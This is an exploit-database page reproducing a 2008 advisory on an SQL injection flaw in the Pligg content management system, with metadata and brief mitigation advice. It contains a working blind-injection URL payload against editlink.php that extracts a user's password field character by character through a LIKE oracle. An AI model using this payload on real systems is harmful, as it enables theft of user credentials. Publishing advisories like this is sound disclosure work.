header-logo
Suggest Exploit
vendor:
Pligg Content Management System
by:
Guido Landi
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Pligg Content Management System
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Pligg Content Management System SQL Injection Vulnerability

Pligg content management system is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. To exploit this, an attacker needs the id of a news they submitted and an id of a news submitted by others. When the LIKE statement matches, the attacker will get a 'Not your link' error.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Sanitize user-supplied data before using it in an SQL query.
Source

Exploit-DB raw data:

Hello,

the Pligg (http://www.pligg.com/) content management system is prone to 
an SQL-injection vulnerability because it fails to sufficiently sanitize 
user-supplied data before using it in an SQL query:


editlink.php?id=1+AND+((SELECT+user_pass+FROM+pligg_users+WHERE+user_login=0x676f64)+LIKE+0x25)+UNION+SELECT+10,2

To exploit this you need the id of a news you submitted(10 in the 
example) and an id of a news submitted by others(1 in the example).

When the LIKE statement matches you get a "Not your link" error.


Guido Landi

# milw0rm.com [2008-04-08]